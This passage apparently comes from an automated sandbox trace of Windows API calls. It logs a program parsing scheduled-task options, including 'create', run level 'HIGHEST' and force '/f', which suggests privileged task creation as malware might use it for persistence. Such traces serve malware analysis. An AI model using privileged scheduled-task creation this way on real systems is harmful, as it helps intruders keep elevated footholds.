_Buf2=0xff691b08, _Size=0x7) returned 0 [0057.722] _vsnwprintf (in: _Buffer=0x7c380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c488 | out: _Buffer="|p|") returned 3 [0057.722] _vsnwprintf (in: _Buffer=0x7c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c488 | out: _Buffer="|rl|") returned 4 [0057.722] lstrlenW (lpString="|p|") returned 3 [0057.722] lstrlenW (lpString="|rl|") returned 4 [0057.722] SetLastError (dwErrCode=0x490) [0057.722] lstrlenW (lpString="ru") returned 2 [0057.722] lstrlenW (lpString="ru") returned 2 [0057.722] _memicmp (_Buf1=0x7c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.722] lstrlenW (lpString="rl") returned 2 [0057.722] _memicmp (_Buf1=0x7c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.722] _vsnwprintf (in: _Buffer=0x7c380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c488 | out: _Buffer="|ru|") returned 4 [0057.722] _vsnwprintf (in: _Buffer=0x7c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c488 | out: _Buffer="|rl|") returned 4 [0057.722] lstrlenW (lpString="|ru|") returned 4 [0057.722] lstrlenW (lpString="|rl|") returned 4 [0057.722] StrStrIW (lpFirst="|ru|", lpSrch="|rl|") returned 0x0 [0057.722] SetLastError (dwErrCode=0x490) [0057.722] lstrlenW (lpString="rp") returned 2 [0057.722] lstrlenW (lpString="rp") returned 2 [0057.722] _memicmp (_Buf1=0x7c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.723] lstrlenW (lpString="rl") returned 2 [0057.723] _memicmp (_Buf1=0x7c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.723] _vsnwprintf (in: _Buffer=0x7c380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c488 | out: _Buffer="|rp|") returned 4 [0057.723] _vsnwprintf (in: _Buffer=0x7c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c488 | out: _Buffer="|rl|") returned 4 [0057.723] lstrlenW (lpString="|rp|") returned 4 [0057.723] lstrlenW (lpString="|rl|") returned 4 [0057.723] StrStrIW (lpFirst="|rp|", lpSrch="|rl|") returned 0x0 [0057.723] SetLastError (dwErrCode=0x490) [0057.723] lstrlenW (lpString="sc") returned 2 [0057.723] lstrlenW (lpString="sc") returned 2 [0057.723] _memicmp (_Buf1=0x7c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.723] lstrlenW (lpString="rl") returned 2 [0057.723] _memicmp (_Buf1=0x7c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.723] _vsnwprintf (in: _Buffer=0x7c380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c488 | out: _Buffer="|sc|") returned 4 [0057.723] _vsnwprintf (in: _Buffer=0x7c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c488 | out: _Buffer="|rl|") returned 4 [0057.723] lstrlenW (lpString="|sc|") returned 4 [0057.723] lstrlenW (lpString="|rl|") returned 4 [0057.723] StrStrIW (lpFirst="|sc|", lpSrch="|rl|") returned 0x0 [0057.723] SetLastError (dwErrCode=0x490) [0057.723] lstrlenW (lpString="mo") returned 2 [0057.723] lstrlenW (lpString="mo") returned 2 [0057.723] _memicmp (_Buf1=0x7c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.723] lstrlenW (lpString="rl") returned 2 [0057.723] _memicmp (_Buf1=0x7c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.723] _vsnwprintf (in: _Buffer=0x7c380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c488 | out: _Buffer="|mo|") returned 4 [0057.723] _vsnwprintf (in: _Buffer=0x7c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c488 | out: _Buffer="|rl|") returned 4 [0057.723] lstrlenW (lpString="|mo|") returned 4 [0057.724] lstrlenW (lpString="|rl|") returned 4 [0057.724] StrStrIW (lpFirst="|mo|", lpSrch="|rl|") returned 0x0 [0057.724] SetLastError (dwErrCode=0x490) [0057.724] lstrlenW (lpString="d") returned 1 [0057.724] lstrlenW (lpString="d") returned 1 [0057.724] _memicmp (_Buf1=0x7c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.724] lstrlenW (lpString="rl") returned 2 [0057.724] _memicmp (_Buf1=0x7c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.724] _vsnwprintf (in: _Buffer=0x7c380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c488 | out: _Buffer="|d|") returned 3 [0057.724] _vsnwprintf (in: _Buffer=0x7c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c488 | out: _Buffer="|rl|") returned 4 [0057.724] lstrlenW (lpString="|d|") returned 3 [0057.724] lstrlenW (lpString="|rl|") returned 4 [0057.724] SetLastError (dwErrCode=0x490) [0057.724] lstrlenW (lpString="m") returned 1 [0057.724] lstrlenW (lpString="m") returned 1 [0057.724] _memicmp (_Buf1=0x7c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.724] lstrlenW (lpString="rl") returned 2 [0057.724] _memicmp (_Buf1=0x7c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.724] _vsnwprintf (in: _Buffer=0x7c380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c488 | out: _Buffer="|m|") returned 3 [0057.724] _vsnwprintf (in: _Buffer=0x7c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c488 | out: _Buffer="|rl|") returned 4 [0057.724] lstrlenW (lpString="|m|") returned 3 [0057.724] lstrlenW (lpString="|rl|") returned 4 [0057.724] SetLastError (dwErrCode=0x490) [0057.724] lstrlenW (lpString="i") returned 1 [0057.724] lstrlenW (lpString="i") returned 1 [0057.724] _memicmp (_Buf1=0x7c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.724] lstrlenW (lpString="rl") returned 2 [0057.724] _memicmp (_Buf1=0x7c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.724] _vsnwprintf (in: _Buffer=0x7c380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c488 | out: _Buffer="|i|") returned 3 [0057.725] _vsnwprintf (in: _Buffer=0x7c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c488 | out: _Buffer="|rl|") returned 4 [0057.725] lstrlenW (lpString="|i|") returned 3 [0057.725] lstrlenW (lpString="|rl|") returned 4 [0057.725] SetLastError (dwErrCode=0x490) [0057.725] lstrlenW (lpString="tn") returned 2 [0057.725] lstrlenW (lpString="tn") returned 2 [0057.725] _memicmp (_Buf1=0x7c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.725] lstrlenW (lpString="rl") returned 2 [0057.725] _memicmp (_Buf1=0x7c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.725] _vsnwprintf (in: _Buffer=0x7c380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c488 | out: _Buffer="|tn|") returned 4 [0057.725] _vsnwprintf (in: _Buffer=0x7c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c488 | out: _Buffer="|rl|") returned 4 [0057.725] lstrlenW (lpString="|tn|") returned 4 [0057.725] lstrlenW (lpString="|rl|") returned 4 [0057.725] StrStrIW (lpFirst="|tn|", lpSrch="|rl|") returned 0x0 [0057.725] SetLastError (dwErrCode=0x490) [0057.725] lstrlenW (lpString="tr") returned 2 [0057.725] lstrlenW (lpString="tr") returned 2 [0057.725] _memicmp (_Buf1=0x7c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.725] lstrlenW (lpString="rl") returned 2 [0057.725] _memicmp (_Buf1=0x7c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.725] _vsnwprintf (in: _Buffer=0x7c380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c488 | out: _Buffer="|tr|") returned 4 [0057.725] _vsnwprintf (in: _Buffer=0x7c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c488 | out: _Buffer="|rl|") returned 4 [0057.725] lstrlenW (lpString="|tr|") returned 4 [0057.725] lstrlenW (lpString="|rl|") returned 4 [0057.725] StrStrIW (lpFirst="|tr|", lpSrch="|rl|") returned 0x0 [0057.725] SetLastError (dwErrCode=0x490) [0057.725] lstrlenW (lpString="st") returned 2 [0057.725] lstrlenW (lpString="st") returned 2 [0057.725] _memicmp (_Buf1=0x7c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.725] lstrlenW (lpString="rl") returned 2 [0057.725] _memicmp (_Buf1=0x7c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.726] _vsnwprintf (in: _Buffer=0x7c380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c488 | out: _Buffer="|st|") returned 4 [0057.726] _vsnwprintf (in: _Buffer=0x7c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c488 | out: _Buffer="|rl|") returned 4 [0057.726] lstrlenW (lpString="|st|") returned 4 [0057.726] lstrlenW (lpString="|rl|") returned 4 [0057.726] StrStrIW (lpFirst="|st|", lpSrch="|rl|") returned 0x0 [0057.726] SetLastError (dwErrCode=0x490) [0057.726] lstrlenW (lpString="sd") returned 2 [0057.726] lstrlenW (lpString="sd") returned 2 [0057.726] _memicmp (_Buf1=0x7c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.726] lstrlenW (lpString="rl") returned 2 [0057.726] _memicmp (_Buf1=0x7c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.726] _vsnwprintf (in: _Buffer=0x7c380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c488 | out: _Buffer="|sd|") returned 4 [0057.726] _vsnwprintf (in: _Buffer=0x7c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c488 | out: _Buffer="|rl|") returned 4 [0057.726] lstrlenW (lpString="|sd|") returned 4 [0057.726] lstrlenW (lpString="|rl|") returned 4 [0057.726] StrStrIW (lpFirst="|sd|", lpSrch="|rl|") returned 0x0 [0057.726] SetLastError (dwErrCode=0x490) [0057.726] lstrlenW (lpString="ed") returned 2 [0057.726] lstrlenW (lpString="ed") returned 2 [0057.726] _memicmp (_Buf1=0x7c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.726] lstrlenW (lpString="rl") returned 2 [0057.726] _memicmp (_Buf1=0x7c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.726] _vsnwprintf (in: _Buffer=0x7c380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c488 | out: _Buffer="|ed|") returned 4 [0057.726] _vsnwprintf (in: _Buffer=0x7c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c488 | out: _Buffer="|rl|") returned 4 [0057.726] lstrlenW (lpString="|ed|") returned 4 [0057.726] lstrlenW (lpString="|rl|") returned 4 [0057.726] StrStrIW (lpFirst="|ed|", lpSrch="|rl|") returned 0x0 [0057.726] SetLastError (dwErrCode=0x490) [0057.726] lstrlenW (lpString="it") returned 2 [0057.726] lstrlenW (lpString="it") returned 2 [0057.727] _memicmp (_Buf1=0x7c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.727] lstrlenW (lpString="rl") returned 2 [0057.727] _memicmp (_Buf1=0x7c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.727] _vsnwprintf (in: _Buffer=0x7c380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c488 | out: _Buffer="|it|") returned 4 [0057.727] _vsnwprintf (in: _Buffer=0x7c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c488 | out: _Buffer="|rl|") returned 4 [0057.727] lstrlenW (lpString="|it|") returned 4 [0057.727] lstrlenW (lpString="|rl|") returned 4 [0057.727] StrStrIW (lpFirst="|it|", lpSrch="|rl|") returned 0x0 [0057.727] SetLastError (dwErrCode=0x490) [0057.727] lstrlenW (lpString="et") returned 2 [0057.727] lstrlenW (lpString="et") returned 2 [0057.727] _memicmp (_Buf1=0x7c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.727] lstrlenW (lpString="rl") returned 2 [0057.727] _memicmp (_Buf1=0x7c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.727] _vsnwprintf (in: _Buffer=0x7c380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c488 | out: _Buffer="|et|") returned 4 [0057.727] _vsnwprintf (in: _Buffer=0x7c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c488 | out: _Buffer="|rl|") returned 4 [0057.727] lstrlenW (lpString="|et|") returned 4 [0057.727] lstrlenW (lpString="|rl|") returned 4 [0057.727] StrStrIW (lpFirst="|et|", lpSrch="|rl|") returned 0x0 [0057.727] SetLastError (dwErrCode=0x490) [0057.727] lstrlenW (lpString="k") returned 1 [0057.727] lstrlenW (lpString="k") returned 1 [0057.727] _memicmp (_Buf1=0x7c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.727] lstrlenW (lpString="rl") returned 2 [0057.727] _memicmp (_Buf1=0x7c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.727] _vsnwprintf (in: _Buffer=0x7c380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c488 | out: _Buffer="|k|") returned 3 [0057.727] _vsnwprintf (in: _Buffer=0x7c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c488 | out: _Buffer="|rl|") returned 4 [0057.727] lstrlenW (lpString="|k|") returned 3 [0057.727] lstrlenW (lpString="|rl|") returned 4 [0057.727] SetLastError (dwErrCode=0x490) [0057.727] lstrlenW (lpString="du") returned 2 [0057.728] lstrlenW (lpString="du") returned 2 [0057.728] _memicmp (_Buf1=0x7c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.728] lstrlenW (lpString="rl") returned 2 [0057.728] _memicmp (_Buf1=0x7c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.728] _vsnwprintf (in: _Buffer=0x7c380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c488 | out: _Buffer="|du|") returned 4 [0057.728] _vsnwprintf (in: _Buffer=0x7c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c488 | out: _Buffer="|rl|") returned 4 [0057.728] lstrlenW (lpString="|du|") returned 4 [0057.728] lstrlenW (lpString="|rl|") returned 4 [0057.728] StrStrIW (lpFirst="|du|", lpSrch="|rl|") returned 0x0 [0057.728] SetLastError (dwErrCode=0x490) [0057.728] lstrlenW (lpString="ri") returned 2 [0057.728] lstrlenW (lpString="ri") returned 2 [0057.728] _memicmp (_Buf1=0x7c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.728] lstrlenW (lpString="rl") returned 2 [0057.728] _memicmp (_Buf1=0x7c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.728] _vsnwprintf (in: _Buffer=0x7c380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c488 | out: _Buffer="|ri|") returned 4 [0057.728] _vsnwprintf (in: _Buffer=0x7c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c488 | out: _Buffer="|rl|") returned 4 [0057.728] lstrlenW (lpString="|ri|") returned 4 [0057.729] lstrlenW (lpString="|rl|") returned 4 [0057.729] StrStrIW (lpFirst="|ri|", lpSrch="|rl|") returned 0x0 [0057.729] SetLastError (dwErrCode=0x490) [0057.729] lstrlenW (lpString="z") returned 1 [0057.729] lstrlenW (lpString="z") returned 1 [0057.729] _memicmp (_Buf1=0x7c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.729] lstrlenW (lpString="rl") returned 2 [0057.729] _memicmp (_Buf1=0x7c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.729] _vsnwprintf (in: _Buffer=0x7c380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c488 | out: _Buffer="|z|") returned 3 [0057.729] _vsnwprintf (in: _Buffer=0x7c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c488 | out: _Buffer="|rl|") returned 4 [0057.729] lstrlenW (lpString="|z|") returned 3 [0057.729] lstrlenW (lpString="|rl|") returned 4 [0057.729] SetLastError (dwErrCode=0x490) [0057.730] lstrlenW (lpString="f") returned 1 [0057.730] lstrlenW (lpString="f") returned 1 [0057.730] _memicmp (_Buf1=0x7c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.730] lstrlenW (lpString="rl") returned 2 [0057.730] _memicmp (_Buf1=0x7c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.730] _vsnwprintf (in: _Buffer=0x7c380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c488 | out: _Buffer="|f|") returned 3 [0057.730] _vsnwprintf (in: _Buffer=0x7c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c488 | out: _Buffer="|rl|") returned 4 [0057.730] lstrlenW (lpString="|f|") returned 3 [0057.730] lstrlenW (lpString="|rl|") returned 4 [0057.730] SetLastError (dwErrCode=0x490) [0057.730] lstrlenW (lpString="v1") returned 2 [0057.730] lstrlenW (lpString="v1") returned 2 [0057.730] _memicmp (_Buf1=0x7c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.730] lstrlenW (lpString="rl") returned 2 [0057.730] _memicmp (_Buf1=0x7c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.730] _vsnwprintf (in: _Buffer=0x7c380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c488 | out: _Buffer="|v1|") returned 4 [0057.730] _vsnwprintf (in: _Buffer=0x7c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c488 | out: _Buffer="|rl|") returned 4 [0057.730] lstrlenW (lpString="|v1|") returned 4 [0057.730] lstrlenW (lpString="|rl|") returned 4 [0057.730] StrStrIW (lpFirst="|v1|", lpSrch="|rl|") returned 0x0 [0057.730] SetLastError (dwErrCode=0x490) [0057.730] lstrlenW (lpString="xml") returned 3 [0057.730] lstrlenW (lpString="xml") returned 3 [0057.731] _memicmp (_Buf1=0x7c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.731] lstrlenW (lpString="rl") returned 2 [0057.731] _memicmp (_Buf1=0x7c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.731] _vsnwprintf (in: _Buffer=0x7c380, _BufferCount=0x6, _Format="|%s|", _ArgList=0x21c488 | out: _Buffer="|xml|") returned 5 [0057.731] _vsnwprintf (in: _Buffer=0x7c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c488 | out: _Buffer="|rl|") returned 4 [0057.731] lstrlenW (lpString="|xml|") returned 5 [0057.731] lstrlenW (lpString="|rl|") returned 4 [0057.731] StrStrIW (lpFirst="|xml|", lpSrch="|rl|") returned 0x0 [0057.731] SetLastError (dwErrCode=0x490) [0057.731] lstrlenW (lpString="ec") returned 2 [0057.731] lstrlenW (lpString="ec") returned 2 [0057.731] _memicmp (_Buf1=0x7c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.731] lstrlenW (lpString="rl") returned 2 [0057.731] _memicmp (_Buf1=0x7c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.731] _vsnwprintf (in: _Buffer=0x7c380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c488 | out: _Buffer="|ec|") returned 4 [0057.731] _vsnwprintf (in: _Buffer=0x7c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c488 | out: _Buffer="|rl|") returned 4 [0057.731] lstrlenW (lpString="|ec|") returned 4 [0057.731] lstrlenW (lpString="|rl|") returned 4 [0057.731] StrStrIW (lpFirst="|ec|", lpSrch="|rl|") returned 0x0 [0057.731] SetLastError (dwErrCode=0x490) [0057.731] lstrlenW (lpString="rl") returned 2 [0057.731] lstrlenW (lpString="rl") returned 2 [0057.731] _memicmp (_Buf1=0x7c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.731] lstrlenW (lpString="rl") returned 2 [0057.731] _memicmp (_Buf1=0x7c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.731] _vsnwprintf (in: _Buffer=0x7c380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c488 | out: _Buffer="|rl|") returned 4 [0057.731] _vsnwprintf (in: _Buffer=0x7c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c488 | out: _Buffer="|rl|") returned 4 [0057.732] lstrlenW (lpString="|rl|") returned 4 [0057.732] lstrlenW (lpString="|rl|") returned 4 [0057.732] StrStrIW (lpFirst="|rl|", lpSrch="|rl|") returned="|rl|" [0057.732] SetLastError (dwErrCode=0x0) [0057.732] SetLastError (dwErrCode=0x0) [0057.732] lstrlenW (lpString="HIGHEST") returned 7 [0057.732] lstrlenW (lpString="-/") returned 2 [0057.732] StrChrIW (lpStart="-/", wMatch=0x48) returned 0x0 [0057.732] SetLastError (dwErrCode=0x490) [0057.732] SetLastError (dwErrCode=0x490) [0057.732] SetLastError (dwErrCode=0x0) [0057.732] lstrlenW (lpString="HIGHEST") returned 7 [0057.732] StrChrIW (lpStart="HIGHEST", wMatch=0x3a) returned 0x0 [0057.732] SetLastError (dwErrCode=0x490) [0057.732] SetLastError (dwErrCode=0x0) [0057.732] _memicmp (_Buf1=0x7d6a0, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.732] lstrlenW (lpString="HIGHEST") returned 7 [0057.732] lstrlenW (lpString="HIGHEST") returned 7 [0057.732] lstrlenW (lpString=" \x09") returned 2 [0057.732] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0057.732] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0057.732] StrChrW (lpStart=" \x09", wMatch=0x49) returned 0x0 [0057.732] StrChrW (lpStart=" \x09", wMatch=0x47) returned 0x0 [0057.732] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0057.732] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0057.732] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0 [0057.732] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0057.732] GetLastError () returned 0x0 [0057.732] lstrlenW (lpString="HIGHEST") returned 7 [0057.732] lstrlenW (lpString="HIGHEST") returned 7 [0057.732] SetLastError (dwErrCode=0x0) [0057.732] SetLastError (dwErrCode=0x0) [0057.732] lstrlenW (lpString="/f") returned 2 [0057.733] lstrlenW (lpString="-/") returned 2 [0057.733] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0057.733] lstrlenW (lpString="create") returned 6 [0057.733] lstrlenW (lpString="create") returned 6 [0057.733] _memicmp (_Buf1=0x7c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.733] lstrlenW (lpString="f") returned 1 [0057.733] _memicmp (_Buf1=0x7c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.733] _vsnwprintf (in: _Buffer=0x7c380, _BufferCount=0x9, _Format="|%s|", _ArgList=0x21c488 | out: _Buffer="|create|") returned 8 [0057.733] _vsnwprintf (in: _Buffer=0x7c360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c488 | out: _Buffer="|f|") returned 3 [0057.733] lstrlenW (lpString="|create|") returned 8 [0057.733] lstrlenW (lpString="|f|") returned 3 [0057.733] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0057.733] SetLastError (dwErrCode=0x490) [0057.733] lstrlenW (lpString="?") returned 1 [0057.733] lstrlenW (lpString="?") returned 1 [0057.733] _memicmp (_Buf1=0x7c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.733] lstrlenW (lpString="f") returned 1 [0057.733] _memicmp (_Buf1=0x7c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.733] _vsnwprintf (in: _Buffer=0x7c380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c488 | out: _Buffer="|?|") returned 3 [0057.733] _vsnwprintf (in: _Buffer=0x7c360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c488 | out: _Buffer="|f|") returned 3 [0057.733] lstrlenW (lpString="|?|") returned 3 [0057.733] lstrlenW (lpString="|f|") returned 3 [0057.733] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0057.733] SetLastError (dwErrCode=0x490) [0057.733] lstrlenW (lpString="s") returned 1 [0057.733] lstrlenW (lpString="s") returned 1 [0057.733] _memicmp (_Buf1=0x7c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.733] lstrlenW (lpString="f") returned 1 [0057.733] _memicmp (_Buf1=0x7c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.733] _vsnwprintf (in: _Buffer=0x7c380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c488 | out: _Buffer="|s|") returned 3 [0057.733] _vsnwprintf (in: _Buffer=0x7c360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c488 | out: _Buffer="|f|") returned 3 [0057.734] lstrlenW (lpString="|s|") returned 3 [0057.734] lstrlenW (lpString="|f|") returned 3 [0057.734] StrStrIW (lpFirst="|s|", lpSrch="|f|") returned 0x0 [0057.734] SetLastError (dwErrCode=0x490) [0057.734] lstrlenW (lpString="u") returned 1 [0057.734] lstrlenW (lpString="u") returned 1 [0057.734] _memicmp (_Buf1=0x7c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.734] lstrlenW (lpString="f") returned 1 [0057.734] _memicmp (_Buf1=0x7c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.734] _vsnwprintf (in: _Buffer=0x7c380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c488 | out: _Buffer="|u|") returned 3 [0057.734] _vsnwprintf (in: _Buffer=0x7c360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c488 | out: _Buffer="|f|") returned 3 [0057.734] lstrlenW (lpString="|u|") returned 3 [0057.734] lstrlenW (lpString="|f|") returned 3 [0057.734] StrStrIW (lpFirst="|u|", lpSrch="|f|") returned 0x0 [0057.734] SetLastError (dwErrCode=0x490) [0057.734] lstrlenW (lpString="p") returned 1 [0057.734] lstrlenW (lpString="p") returned 1 [0057.734] _memicmp (_Buf1=0x7c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.734] lstrlenW (lpString="f") returned 1 [0057.734] _memicmp (_Buf1=0x7c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.734] _vsnwprintf (in: _Buffer=0x7c380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c488 | out: _Buffer="|p|") returned 3 [0057.734] _vsnwprintf (in: _Buffer=0x7c360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c488 | out: _Buffer="|f|") returned 3 [0057.734] lstrlenW (lpString="|p|") returned 3 [0057.734] lstrlenW (lpString="|f|") returned 3 [0057.734] StrStrIW (lpFirst="|p|", lpSrch="|f|") returned 0x0 [0057.734] SetLastError (dwErrCode=0x490) [0057.734] lstrlenW (lpString="ru") returned 2 [0057.734] lstrlenW (lpString="ru") returned 2 [0057.734] _memicmp (_Buf1=0x7c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.734] lstrlenW (lpString="f") returned 1 [0057.734] _memicmp (_Buf1=0x7c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.734] _vsnwprintf (in: _Buffer=0x7c380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c488 | out: _Buffer="|ru|") returned 4 [0057.735] _vsnwprintf (in: _Buffer=0x7c360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c488 | out: _Buffer="|f|") returned 3 [0057.735] lstrlenW (lpString="|ru|") returned 4 [0057.735] lstrlenW (lpString="|f|") returned 3 [0057.735] StrStrIW (lpFirst="|ru|", lpSrch="|f|") returned 0x0 [0057.735] SetLastError (dwErrCode=0x490) [0057.735] lstrlenW (lpString="rp") returned 2 [0057.735] lstrlenW (lpString="rp") returned 2 [0057.735] _memicmp (_Buf1=0x7c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.735] lstrlenW (lpString="f") returned 1 [0057.735] _memicmp (_Buf1=0x7c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.735] _vsnwprintf (in: _Buffer=0x7c380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c488 | out: _Buffer="|rp|") returned 4 [0057.735] _vsnwprintf (in: _Buffer=0x7c360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c488 | out: _Buffer="|f|") returned 3 [0057.735] lstrlenW (lpString="|rp|") returned 4 [0057.735] lstrlenW (lpString="|f|") returned 3 [0057.735] StrStrIW (lpFirst="|rp|", lpSrch="|f|") returned 0x0 [0057.735] SetLastError (dwErrCode=0x490) [0057.735] lstrlenW (lpString="sc") returned 2 [0057.735] lstrlenW (lpString="sc") returned 2 [0057.735] _memicmp (_Buf1=0x7c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.735] lstrlenW (lpString="f") returned 1 [0057.735] _memicmp (_Buf1=0x7c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.735] _vsnwprintf (in: _Buffer=0x7c380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c488 | out: _Buffer="|sc|") returned 4 [0057.735] _vsnwprintf (in: _Buffer=0x7c360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c488 | out: _Buffer="|f|") returned 3 [0057.735] lstrlenW (lpString="|sc|") returned 4 [0057.735] lstrlenW (lpString="|f|") returned 3 [0057.735] StrStrIW (lpFirst="|sc|", lpSrch="|f|") returned 0x0 [0057.735] SetLastError (dwErrCode=0x490) [0057.735] lstrlenW (lpString="mo") returned 2 [0057.735] lstrlenW (lpString="mo") returned 2 [0057.735] _memicmp 